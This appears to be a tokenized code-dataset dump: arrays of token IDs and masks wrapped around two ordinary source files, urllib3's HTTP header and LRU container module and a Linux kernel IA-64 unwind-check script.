1744, 356, 990, 288, 1660, 288, 283, 16203, 356, 8910, 355, 283, 8489, 6007, 356, 469, 490, 283, 4032, 2320, 30271, 356, 283, 1216, 297, 355, 1660, 288, 19971, 288, 283, 1364, 30682, 356, 8910, 355, 283, 2123, 356, 490, 283, 2123, 297, 355, 283, 14129, 356, 359, 490, 283, 2859, 921, 1544, 14, 17533, 14, 957, 15, 1178, 4805, 490, 283, 2374, 3494, 14, 2861, 63, 2785, 297, 490, 283, 2859, 921, 1544, 14, 17533, 14, 957, 15, 1178, 15, 4806, 14, 952, 297, 490, 283, 2859, 921, 1544, 14, 17533, 14, 957, 15, 1178, 15, 751, 815, 14, 2123, 297, 490, 283, 2859, 921, 1544, 14, 17533, 14, 957, 15, 1178, 15, 15358, 14, 12662, 297, 490, 283, 2859, 921, 1544, 14, 17533, 14, 957, 15, 1178, 15, 496, 8373, 2106, 297, 490, 283, 2859, 921, 1544, 14, 17533, 14, 957, 15, 1178, 15, 23256, 297, 355, 1622, 288, 19971, 267, 789, 272, 1660, 272, 283, 26890, 13, 29997, 13, 5135, 13, 2619, 18, 13, 657, 13, 5468, 21, 356, 469, 267, 283, 1802, 356, 17137, 1023, 582, 413, 7293, 267, 283, 3282, 356, 469, 288, 283, 2343, 356, 469, 355, 283, 1744, 356, 990, 288, 1660, 288, 283, 16203, 356, 8910, 355, 283, 8489, 6007, 356, 469, 490, 283, 4032, 2320, 30271, 356, 283, 1216, 297, 355, 1660, 288, 19971, 288, 283, 1364, 30682, 356, 8910, 355, 283, 2123, 356, 490, 283, 2123, 297, 355, 283, 14129, 356, 359, 490, 283, 2859, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 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 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
coderbone/SickRage-alt
lib/urllib3/_collections.py
51
10792
from __future__ import absolute_import try: from collections.abc import Mapping, MutableMapping except ImportError: from collections import Mapping, MutableMapping try: from threading import RLock except ImportError: # Platform-specific: No threads available class RLock: def __enter__(self): pass def __exit__(self, exc_type, exc_value, traceback): pass from collections import OrderedDict from .exceptions import InvalidHeader from .packages.six import iterkeys, itervalues, PY3 __all__ = ["RecentlyUsedContainer", "HTTPHeaderDict"] _Null = object() class RecentlyUsedContainer(MutableMapping): """ Provides a thread-safe dict-like container which maintains up to ``maxsize`` keys while throwing away the least-recently-used keys beyond ``maxsize``. :param maxsize: Maximum number of recent elements to retain. :param dispose_func: Every time an item is evicted from the container, ``dispose_func(value)`` is called. Callback which will get called """ ContainerCls = OrderedDict def __init__(self, maxsize=10, dispose_func=None): self._maxsize = maxsize self.dispose_func = dispose_func self._container = self.ContainerCls() self.lock = RLock() def __getitem__(self, key): # Re-insert the item, moving it to the end of the eviction line. with self.lock: item = self._container.pop(key) self._container[key] = item return item def __setitem__(self, key, value): evicted_value = _Null with self.lock: # Possibly evict the existing value of 'key' evicted_value = self._container.get(key, _Null) self._container[key] = value # If we didn't evict an existing value, we might have to evict the # least recently used item from the beginning of the container. if len(self._container) > self._maxsize: _key, evicted_value = self._container.popitem(last=False) if self.dispose_func and evicted_value is not _Null: self.dispose_func(evicted_value) def __delitem__(self, key): with self.lock: value = self._container.pop(key) if self.dispose_func: self.dispose_func(value) def __len__(self): with self.lock: return len(self._container) def __iter__(self): raise NotImplementedError( "Iteration over this class is unlikely to be threadsafe." ) def clear(self): with self.lock: # Copy pointers to all values, then wipe the mapping values = list(itervalues(self._container)) self._container.clear() if self.dispose_func: for value in values: self.dispose_func(value) def keys(self): with self.lock: return list(iterkeys(self._container)) class HTTPHeaderDict(MutableMapping): """ :param headers: An iterable of field-value pairs. Must not contain multiple field names when compared case-insensitively. :param kwargs: Additional field-value pairs to pass in to ``dict.update``. A ``dict`` like container for storing HTTP Headers. Field names are stored and compared case-insensitively in compliance with RFC 7230. Iteration provides the first case-sensitive key seen for each case-insensitive pair. Using ``__setitem__`` syntax overwrites fields that compare equal case-insensitively in order to maintain ``dict``'s api. For fields that compare equal, instead create a new ``HTTPHeaderDict`` and use ``.add`` in a loop. If multiple fields that are equal case-insensitively are passed to the constructor or ``.update``, the behavior is undefined and some will be lost. >>> headers = HTTPHeaderDict() >>> headers.add('Set-Cookie', 'foo=bar') >>> headers.add('set-cookie', 'baz=quxx') >>> headers['content-length'] = '7' >>> headers['SET-cookie'] 'foo=bar, baz=quxx' >>> headers['Content-Length'] '7' """ def __init__(self, headers=None, **kwargs): super(HTTPHeaderDict, self).__init__() self._container = OrderedDict() if headers is not None: if isinstance(headers, HTTPHeaderDict): self._copy_from(headers) else: self.extend(headers) if kwargs: self.extend(kwargs) def __setitem__(self, key, val): self._container[key.lower()] = [key, val] return self._container[key.lower()] def __getitem__(self, key): val = self._container[key.lower()] return ", ".join(val[1:]) def __delitem__(self, key): del self._container[key.lower()] def __contains__(self, key): return key.lower() in self._container def __eq__(self, other): if not isinstance(other, Mapping) and not hasattr(other, "keys"): return False if not isinstance(other, type(self)): other = type(self)(other) return dict((k.lower(), v) for k, v in self.itermerged()) == dict( (k.lower(), v) for k, v in other.itermerged() ) def __ne__(self, other): return not self.__eq__(other) if not PY3: # Python 2 iterkeys = MutableMapping.iterkeys itervalues = MutableMapping.itervalues __marker = object() def __len__(self): return len(self._container) def __iter__(self): # Only provide the originally cased names for vals in self._container.values(): yield vals[0] def pop(self, key, default=__marker): """D.pop(k[,d]) -> v, remove specified key and return the corresponding value. If key is not found, d is returned if given, otherwise KeyError is raised. """ # Using the MutableMapping function directly fails due to the private marker. # Using ordinary dict.pop would expose the internal structures. # So let's reinvent the wheel. try: value = self[key] except KeyError: if default is self.__marker: raise return default else: del self[key] return value def discard(self, key): try: del self[key] except KeyError: pass def add(self, key, val): """Adds a (name, value) pair, doesn't overwrite the value if it already exists. >>> headers = HTTPHeaderDict(foo='bar') >>> headers.add('Foo', 'baz') >>> headers['foo'] 'bar, baz' """ key_lower = key.lower() new_vals = [key, val] # Keep the common case aka no item present as fast as possible vals = self._container.setdefault(key_lower, new_vals) if new_vals is not vals: vals.append(val) def extend(self, *args, **kwargs): """Generic import function for any type of header-like object. Adapted version of MutableMapping.update in order to insert items with self.add instead of self.__setitem__ """ if len(args) > 1: raise TypeError( "extend() takes at most 1 positional " "arguments ({0} given)".format(len(args)) ) other = args[0] if len(args) >= 1 else () if isinstance(other, HTTPHeaderDict): for key, val in other.iteritems(): self.add(key, val) elif isinstance(other, Mapping): for key in other: self.add(key, other[key]) elif hasattr(other, "keys"): for key in other.keys(): self.add(key, other[key]) else: for key, value in other: self.add(key, value) for key, value in kwargs.items(): self.add(key, value) def getlist(self, key, default=__marker): """Returns a list of all the values for the named field. Returns an empty list if the key doesn't exist.""" try: vals = self._container[key.lower()] except KeyError: if default is self.__marker: return [] return default else: return vals[1:] # Backwards compatibility for httplib getheaders = getlist getallmatchingheaders = getlist iget = getlist # Backwards compatibility for http.cookiejar get_all = getlist def __repr__(self): return "%s(%s)" % (type(self).__name__, dict(self.itermerged())) def _copy_from(self, other): for key in other: val = other.getlist(key) if isinstance(val, list): # Don't need to convert tuples val = list(val) self._container[key.lower()] = [key] + val def copy(self): clone = type(self)() clone._copy_from(self) return clone def iteritems(self): """Iterate over all header lines, including duplicate ones.""" for key in self: vals = self._container[key.lower()] for val in vals[1:]: yield vals[0], val def itermerged(self): """Iterate over all headers, merging duplicate ones together.""" for key in self: val = self._container[key.lower()] yield val[0], ", ".join(val[1:]) def items(self): return list(self.iteritems()) @classmethod def from_httplib(cls, message): # Python 2 """Read headers from a Python 2 httplib message object.""" # python2.7 does not expose a proper API for exporting multiheaders # efficiently. This function re-reads raw lines from the message # object and extracts the multiheaders properly. obs_fold_continued_leaders = (" ", "\t") headers = [] for line in message.headers: if line.startswith(obs_fold_continued_leaders): if not headers: # We received a header line that starts with OWS as described # in RFC-7230 S3.2.4. This indicates a multiline header, but # there exists no previous header to which we can attach it. raise InvalidHeader( "Header continuation with no previous header: %s" % line ) else: key, value = headers[-1] headers[-1] = (key, value + " " + line.strip()) continue key, value = line.split(":", 1) headers.append((key, value.strip())) return cls(headers)
gpl-3.0
[ 504, 636, 2443, 363, 492, 3679, 63, 646, 199, 199, 893, 26, 272, 687, 5055, 14, 3175, 492, 12340, 12, 29396, 199, 2590, 3545, 26, 272, 687, 5055, 492, 12340, 12, 29396, 199, 893, 26, 272, 687, 5796, 492, 820, 6432, 199, 2590, 3545, 26, 221, 327, 16078, 13, 6100, 26, 3091, 7183, 2808, 339, 1021, 820, 6432, 26, 267, 347, 636, 4200, 721, 277, 304, 288, 986, 398, 347, 636, 2224, 721, 277, 12, 3178, 63, 466, 12, 3178, 63, 585, 12, 5190, 304, 288, 986, 421, 199, 504, 5055, 492, 8773, 199, 504, 1275, 3924, 492, 6378, 2567, 199, 504, 1275, 5154, 14, 4174, 492, 25706, 12, 24451, 12, 7843, 19, 421, 199, 363, 452, 363, 275, 2097, 29574, 590, 9167, 4076, 401, 298, 2856, 2567, 2141, 937, 421, 199, 63, 8849, 275, 909, 342, 421, 199, 533, 799, 2946, 590, 9167, 4076, 8, 17707, 7674, 304, 272, 408, 272, 21552, 282, 2462, 13, 3489, 1211, 13, 2930, 3970, 1314, 11075, 83, 1536, 370, 272, 1124, 13634, 1040, 2883, 1830, 7978, 316, 13437, 314, 5210, 13, 14951, 590, 13, 2972, 2883, 20561, 272, 1124, 13634, 4345, 339, 520, 635, 19791, 26, 267, 14212, 1329, 402, 8058, 4008, 370, 8074, 14, 339, 520, 635, 2153, 4070, 63, 1532, 26, 267, 18414, 900, 376, 1242, 365, 24656, 1522, 687, 314, 3970, 12, 267, 1124, 29842, 63, 1532, 8, 585, 9719, 365, 2797, 14, 221, 17555, 1314, 911, 664, 2797, 272, 408, 339, 15395, 24342, 275, 8773, 339, 347, 636, 826, 721, 277, 12, 19791, 29, 709, 12, 2153, 4070, 63, 1532, 29, 403, 304, 267, 291, 423, 13634, 275, 19791, 267, 291, 14, 29842, 63, 1532, 275, 2153, 4070, 63, 1532, 398, 291, 423, 3600, 275, 291, 14, 4076, 24342, 342, 267, 291, 14, 831, 275, 820, 6432, 342, 339, 347, 636, 6095, 721, 277, 12, 790, 304, 267, 327, 799, 13, 3176, 314, 1242, 12, 12876, 652, 370, 314, 1284, 402, 314, 24656, 414, 1004, 14, 267, 543, 291, 14, 831, 26, 288, 1242, 275, 291, 423, 3600, 14, 1935, 8, 498, 9, 288, 291, 423, 3600, 59, 498, 61, 275, 1242, 288, 372, 1242, 339, 347, 636, 8617, 721, 277, 12, 790, 12, 574, 304, 267, 24656, 1522, 63, 585, 275, 485, 8849, 267, 543, 291, 14, 831, 26, 288, 327, 25987, 9312, 24656, 319, 314, 3411, 574, 402, 283, 498, 7, 288, 24656, 1522, 63, 585, 275, 291, 423, 3600, 14, 362, 8, 498, 12, 485, 8849, 9, 288, 291, 423, 3600, 59, 498, 61, 275, 574, 953, 327, 982, 781, 9980, 1133, 24656, 319, 376, 3411, 574, 12, 781, 5594, 1172, 370, 24656, 319, 314, 288, 327, 5210, 23568, 1202, 1242, 687, 314, 9608, 402, 314, 3970, 14, 288, 340, 822, 8, 277, 423, 3600, 9, 690, 291, 423, 13634, 26, 355, 485, 498, 12, 24656, 1522, 63, 585, 275, 291, 423, 3600, 14, 24882, 8, 2019, 29, 797, 9, 398, 340, 291, 14, 29842, 63, 1532, 436, 24656, 1522, 63, 585, 365, 440, 485, 8849, 26, 288, 291, 14, 29842, 63, 1532, 8, 69, 433, 1522, 63, 585, 9, 339, 347, 636, 13228, 721, 277, 12, 790, 304, 267, 543, 291, 14, 831, 26, 288, 574, 275, 291, 423, 3600, 14, 1935, 8, 498, 9, 398, 340, 291, 14, 29842, 63, 1532, 26, 288, 291, 14, 29842, 63, 1532, 8, 585, 9, 339, 347, 636, 552, 721, 277, 304, 267, 543, 291, 14, 831, 26, 288, 372, 822, 8, 277, 423, 3600, 9, 339, 347, 636, 1661, 721, 277, 304, 267, 746, 4279, 8, 288, 298, 8666, 1806, 642, 1021, 365, 625, 24227, 370, 506, 2462, 3489, 2122, 267, 776, 339, 347, 5436, 8, 277, 304, 267, 543, 291, 14, 831, 26, 288, 327, 11247, 21116, 370, 1006, 1338, 12, 2066, 336, 3662, 314, 4412, 288, 1338, 275, 769, 8, 13012, 8, 277, 423, 3600, 430, 288, 291, 423, 3600, 14, 3584, 342, 398, 340, 291, 14, 29842, 63, 1532, 26, 288, 367, 574, 315, 1338, 26, 355, 291, 14, 29842, 63, 1532, 8, 585, 9, 339, 347, 2883, 8, 277, 304, 267, 543, 291, 14, 831, 26, 288, 372, 769, 8, 16007, 8, 277, 423, 3600, 430, 421, 199, 533, 3101, 2567, 2141, 8, 17707, 7674, 304, 272, 408, 272, 520, 635, 2323, 26, 267, 1626, 6076, 402, 901, 13, 585, 6342, 14, 9498, 440, 1395, 3663, 901, 1561, 267, 1380, 13524, 1930, 13, 262, 2464, 338, 9462, 14, 339, 520, 635, 2074, 26, 267, 10961, 901, 13, 585, 6342, 370, 986, 315, 370, 1124, 807, 14, 873, 4345, 339, 437, 1124, 807, 1040, 2839, 3970, 367, 16915, 3101, 21391, 14, 339, 5024, 1561, 787, 5489, 436, 13524, 1930, 13, 262, 2464, 338, 9462, 315, 4151, 543, 272, 7329, 1520, 9687, 14, 473, 5388, 6571, 314, 1642, 1930, 13, 7361, 790, 6775, 367, 1924, 272, 1930, 13, 15851, 4092, 14, 339, 11719, 9035, 8617, 18762, 6302, 1806, 16334, 1504, 626, 6540, 4472, 272, 1930, 13, 262, 2464, 338, 9462, 315, 1865, 370, 11075, 1124, 807, 1040, 7, 83, 2986, 14, 2104, 1504, 626, 272, 6540, 4472, 12, 3140, 1218, 282, 892, 1124, 2856, 2567, 2141, 1040, 436, 675, 21502, 525, 1040, 272, 315, 282, 4438, 14, 339, 982, 3663, 1504, 626, 787, 4472, 1930, 13, 262, 2464, 338, 9462, 787, 3032, 370, 314, 272, 3787, 503, 21502, 873, 4542, 314, 5953, 365, 10942, 436, 2005, 911, 506, 272, 14669, 14, 339, 1306, 2323, 275, 3101, 2567, 2141, 342, 272, 1306, 2323, 14, 525, 360, 1084, 13, 7810, 297, 283, 1421, 29, 1700, 358, 272, 1306, 2323, 14, 525, 360, 409, 13, 5306, 297, 283, 6185, 29, 392, 2154, 358, 272, 1306, 2323, 459, 1317, 13, 1267, 418, 275, 283, 23, 7, 272, 1306, 2323, 459, 3597, 13, 5306, 418, 272, 283, 1421, 29, 1700, 12, 15507, 29, 392, 2154, 7, 272, 1306, 2323, 459, 2714, 13, 4625, 418, 272, 283, 23, 7, 272, 408, 339, 347, 636, 826, 721, 277, 12, 2323, 29, 403, 12, 1011, 958, 304, 267, 1613, 8, 2856, 2567, 2141, 12, 291, 2843, 826, 4533, 267, 291, 423, 3600, 275, 8773, 342, 267, 340, 2323, 365, 440, 488, 26, 288, 340, 1228, 8, 2139 ]
[ 636, 2443, 363, 492, 3679, 63, 646, 199, 199, 893, 26, 272, 687, 5055, 14, 3175, 492, 12340, 12, 29396, 199, 2590, 3545, 26, 272, 687, 5055, 492, 12340, 12, 29396, 199, 893, 26, 272, 687, 5796, 492, 820, 6432, 199, 2590, 3545, 26, 221, 327, 16078, 13, 6100, 26, 3091, 7183, 2808, 339, 1021, 820, 6432, 26, 267, 347, 636, 4200, 721, 277, 304, 288, 986, 398, 347, 636, 2224, 721, 277, 12, 3178, 63, 466, 12, 3178, 63, 585, 12, 5190, 304, 288, 986, 421, 199, 504, 5055, 492, 8773, 199, 504, 1275, 3924, 492, 6378, 2567, 199, 504, 1275, 5154, 14, 4174, 492, 25706, 12, 24451, 12, 7843, 19, 421, 199, 363, 452, 363, 275, 2097, 29574, 590, 9167, 4076, 401, 298, 2856, 2567, 2141, 937, 421, 199, 63, 8849, 275, 909, 342, 421, 199, 533, 799, 2946, 590, 9167, 4076, 8, 17707, 7674, 304, 272, 408, 272, 21552, 282, 2462, 13, 3489, 1211, 13, 2930, 3970, 1314, 11075, 83, 1536, 370, 272, 1124, 13634, 1040, 2883, 1830, 7978, 316, 13437, 314, 5210, 13, 14951, 590, 13, 2972, 2883, 20561, 272, 1124, 13634, 4345, 339, 520, 635, 19791, 26, 267, 14212, 1329, 402, 8058, 4008, 370, 8074, 14, 339, 520, 635, 2153, 4070, 63, 1532, 26, 267, 18414, 900, 376, 1242, 365, 24656, 1522, 687, 314, 3970, 12, 267, 1124, 29842, 63, 1532, 8, 585, 9719, 365, 2797, 14, 221, 17555, 1314, 911, 664, 2797, 272, 408, 339, 15395, 24342, 275, 8773, 339, 347, 636, 826, 721, 277, 12, 19791, 29, 709, 12, 2153, 4070, 63, 1532, 29, 403, 304, 267, 291, 423, 13634, 275, 19791, 267, 291, 14, 29842, 63, 1532, 275, 2153, 4070, 63, 1532, 398, 291, 423, 3600, 275, 291, 14, 4076, 24342, 342, 267, 291, 14, 831, 275, 820, 6432, 342, 339, 347, 636, 6095, 721, 277, 12, 790, 304, 267, 327, 799, 13, 3176, 314, 1242, 12, 12876, 652, 370, 314, 1284, 402, 314, 24656, 414, 1004, 14, 267, 543, 291, 14, 831, 26, 288, 1242, 275, 291, 423, 3600, 14, 1935, 8, 498, 9, 288, 291, 423, 3600, 59, 498, 61, 275, 1242, 288, 372, 1242, 339, 347, 636, 8617, 721, 277, 12, 790, 12, 574, 304, 267, 24656, 1522, 63, 585, 275, 485, 8849, 267, 543, 291, 14, 831, 26, 288, 327, 25987, 9312, 24656, 319, 314, 3411, 574, 402, 283, 498, 7, 288, 24656, 1522, 63, 585, 275, 291, 423, 3600, 14, 362, 8, 498, 12, 485, 8849, 9, 288, 291, 423, 3600, 59, 498, 61, 275, 574, 953, 327, 982, 781, 9980, 1133, 24656, 319, 376, 3411, 574, 12, 781, 5594, 1172, 370, 24656, 319, 314, 288, 327, 5210, 23568, 1202, 1242, 687, 314, 9608, 402, 314, 3970, 14, 288, 340, 822, 8, 277, 423, 3600, 9, 690, 291, 423, 13634, 26, 355, 485, 498, 12, 24656, 1522, 63, 585, 275, 291, 423, 3600, 14, 24882, 8, 2019, 29, 797, 9, 398, 340, 291, 14, 29842, 63, 1532, 436, 24656, 1522, 63, 585, 365, 440, 485, 8849, 26, 288, 291, 14, 29842, 63, 1532, 8, 69, 433, 1522, 63, 585, 9, 339, 347, 636, 13228, 721, 277, 12, 790, 304, 267, 543, 291, 14, 831, 26, 288, 574, 275, 291, 423, 3600, 14, 1935, 8, 498, 9, 398, 340, 291, 14, 29842, 63, 1532, 26, 288, 291, 14, 29842, 63, 1532, 8, 585, 9, 339, 347, 636, 552, 721, 277, 304, 267, 543, 291, 14, 831, 26, 288, 372, 822, 8, 277, 423, 3600, 9, 339, 347, 636, 1661, 721, 277, 304, 267, 746, 4279, 8, 288, 298, 8666, 1806, 642, 1021, 365, 625, 24227, 370, 506, 2462, 3489, 2122, 267, 776, 339, 347, 5436, 8, 277, 304, 267, 543, 291, 14, 831, 26, 288, 327, 11247, 21116, 370, 1006, 1338, 12, 2066, 336, 3662, 314, 4412, 288, 1338, 275, 769, 8, 13012, 8, 277, 423, 3600, 430, 288, 291, 423, 3600, 14, 3584, 342, 398, 340, 291, 14, 29842, 63, 1532, 26, 288, 367, 574, 315, 1338, 26, 355, 291, 14, 29842, 63, 1532, 8, 585, 9, 339, 347, 2883, 8, 277, 304, 267, 543, 291, 14, 831, 26, 288, 372, 769, 8, 16007, 8, 277, 423, 3600, 430, 421, 199, 533, 3101, 2567, 2141, 8, 17707, 7674, 304, 272, 408, 272, 520, 635, 2323, 26, 267, 1626, 6076, 402, 901, 13, 585, 6342, 14, 9498, 440, 1395, 3663, 901, 1561, 267, 1380, 13524, 1930, 13, 262, 2464, 338, 9462, 14, 339, 520, 635, 2074, 26, 267, 10961, 901, 13, 585, 6342, 370, 986, 315, 370, 1124, 807, 14, 873, 4345, 339, 437, 1124, 807, 1040, 2839, 3970, 367, 16915, 3101, 21391, 14, 339, 5024, 1561, 787, 5489, 436, 13524, 1930, 13, 262, 2464, 338, 9462, 315, 4151, 543, 272, 7329, 1520, 9687, 14, 473, 5388, 6571, 314, 1642, 1930, 13, 7361, 790, 6775, 367, 1924, 272, 1930, 13, 15851, 4092, 14, 339, 11719, 9035, 8617, 18762, 6302, 1806, 16334, 1504, 626, 6540, 4472, 272, 1930, 13, 262, 2464, 338, 9462, 315, 1865, 370, 11075, 1124, 807, 1040, 7, 83, 2986, 14, 2104, 1504, 626, 272, 6540, 4472, 12, 3140, 1218, 282, 892, 1124, 2856, 2567, 2141, 1040, 436, 675, 21502, 525, 1040, 272, 315, 282, 4438, 14, 339, 982, 3663, 1504, 626, 787, 4472, 1930, 13, 262, 2464, 338, 9462, 787, 3032, 370, 314, 272, 3787, 503, 21502, 873, 4542, 314, 5953, 365, 10942, 436, 2005, 911, 506, 272, 14669, 14, 339, 1306, 2323, 275, 3101, 2567, 2141, 342, 272, 1306, 2323, 14, 525, 360, 1084, 13, 7810, 297, 283, 1421, 29, 1700, 358, 272, 1306, 2323, 14, 525, 360, 409, 13, 5306, 297, 283, 6185, 29, 392, 2154, 358, 272, 1306, 2323, 459, 1317, 13, 1267, 418, 275, 283, 23, 7, 272, 1306, 2323, 459, 3597, 13, 5306, 418, 272, 283, 1421, 29, 1700, 12, 15507, 29, 392, 2154, 7, 272, 1306, 2323, 459, 2714, 13, 4625, 418, 272, 283, 23, 7, 272, 408, 339, 347, 636, 826, 721, 277, 12, 2323, 29, 403, 12, 1011, 958, 304, 267, 1613, 8, 2856, 2567, 2141, 12, 291, 2843, 826, 4533, 267, 291, 423, 3600, 275, 8773, 342, 267, 340, 2323, 365, 440, 488, 26, 288, 340, 1228, 8, 2139, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
chuukai/ponyo-kernel-nAa
arch/ia64/scripts/unwcheck.py
916
1718
#!/usr/bin/env python # # Usage: unwcheck.py FILE # # This script checks the unwind info of each function in file FILE # and verifies that the sum of the region-lengths matches the total # length of the function. # # Based on a shell/awk script originally written by Harish Patil, # which was converted to Perl by Matthew Chapman, which was converted # to Python by David Mosberger. # import os import re import sys if len(sys.argv) != 2: print "Usage: %s FILE" % sys.argv[0] sys.exit(2) readelf = os.getenv("READELF", "readelf") start_pattern = re.compile("<([^>]*)>: \[0x([0-9a-f]+)-0x([0-9a-f]+)\]") rlen_pattern = re.compile(".*rlen=([0-9]+)") def check_func (func, slots, rlen_sum): if slots != rlen_sum: global num_errors num_errors += 1 if not func: func = "[%#x-%#x]" % (start, end) print "ERROR: %s: %lu slots, total region length = %lu" % (func, slots, rlen_sum) return num_funcs = 0 num_errors = 0 func = False slots = 0 rlen_sum = 0 for line in os.popen("%s -u %s" % (readelf, sys.argv[1])): m = start_pattern.match(line) if m: check_func(func, slots, rlen_sum) func = m.group(1) start = long(m.group(2), 16) end = long(m.group(3), 16) slots = 3 * (end - start) / 16 rlen_sum = 0L num_funcs += 1 else: m = rlen_pattern.match(line) if m: rlen_sum += long(m.group(1)) check_func(func, slots, rlen_sum) if num_errors == 0: print "No errors detected in %u functions." % num_funcs else: if num_errors > 1: err="errors" else: err="error" print "%u %s detected in %u functions." % (num_errors, err, num_funcs) sys.exit(1)
gpl-2.0
[ 3381, 2647, 15, 1393, 15, 1813, 2366, 199, 3, 199, 3, 11028, 26, 625, 87, 1074, 14, 647, 13024, 199, 3, 199, 3, 961, 2884, 5920, 314, 625, 11530, 2256, 402, 1924, 805, 315, 570, 13024, 199, 3, 436, 22694, 626, 314, 3089, 402, 314, 4897, 13, 14563, 4450, 314, 3141, 199, 3, 2582, 402, 314, 805, 14, 199, 3, 199, 3, 21311, 641, 282, 5218, 15, 10084, 75, 2884, 20657, 5313, 701, 25378, 2453, 510, 2159, 76, 12, 199, 3, 1314, 1990, 6702, 370, 3492, 76, 701, 18619, 29640, 2799, 439, 1237, 12, 1314, 1990, 6702, 199, 3, 370, 2018, 701, 20232, 603, 736, 605, 836, 14, 199, 3, 199, 646, 747, 199, 646, 295, 199, 646, 984, 199, 199, 692, 822, 8, 1274, 14, 3020, 9, 1137, 499, 26, 272, 870, 298, 7692, 26, 450, 83, 13024, 2, 450, 984, 14, 3020, 59, 16, 61, 272, 984, 14, 2224, 8, 18, 9, 199, 199, 8273, 271, 276, 275, 747, 14, 12959, 480, 24345, 4424, 38, 401, 298, 8273, 271, 276, 531, 199, 199, 928, 63, 3401, 275, 295, 14, 2014, 6757, 7059, 30, 3672, 13032, 26, 30257, 16, 88, 779, 16, 13, 25, 65, 13, 70, 2807, 7216, 16, 88, 779, 16, 13, 25, 65, 13, 70, 18096, 12523, 199, 82, 552, 63, 3401, 221, 275, 295, 14, 2014, 480, 2795, 82, 552, 30982, 16, 13, 25, 2807, 6320, 199, 199, 318, 1104, 63, 1532, 334, 1532, 12, 14319, 12, 24746, 63, 1838, 304, 272, 340, 14319, 1137, 24746, 63, 1838, 26, 267, 2288, 1967, 63, 2550, 267, 1967, 63, 2550, 847, 413, 267, 340, 440, 2562, 26, 2562, 275, 26503, 3, 88, 3295, 3, 88, 8480, 450, 334, 928, 12, 1284, 9, 267, 870, 298, 3170, 26, 450, 83, 26, 450, 10836, 14319, 12, 3141, 4897, 2582, 275, 450, 10836, 2, 450, 334, 1532, 12, 14319, 12, 24746, 63, 1838, 9, 272, 372, 199, 199, 1507, 63, 9204, 275, 378, 199, 1507, 63, 2550, 275, 378, 199, 1532, 275, 756, 199, 7257, 275, 378, 199, 82, 552, 63, 1838, 275, 378, 199, 509, 1004, 315, 747, 14, 12207, 3647, 83, 446, 85, 450, 83, 2, 450, 334, 8273, 271, 276, 12, 984, 14, 3020, 59, 17, 18710, 272, 333, 275, 1343, 63, 3401, 14, 1431, 8, 604, 9, 272, 340, 333, 26, 267, 1104, 63, 1532, 8, 1532, 12, 14319, 12, 24746, 63, 1838, 9, 398, 2562, 221, 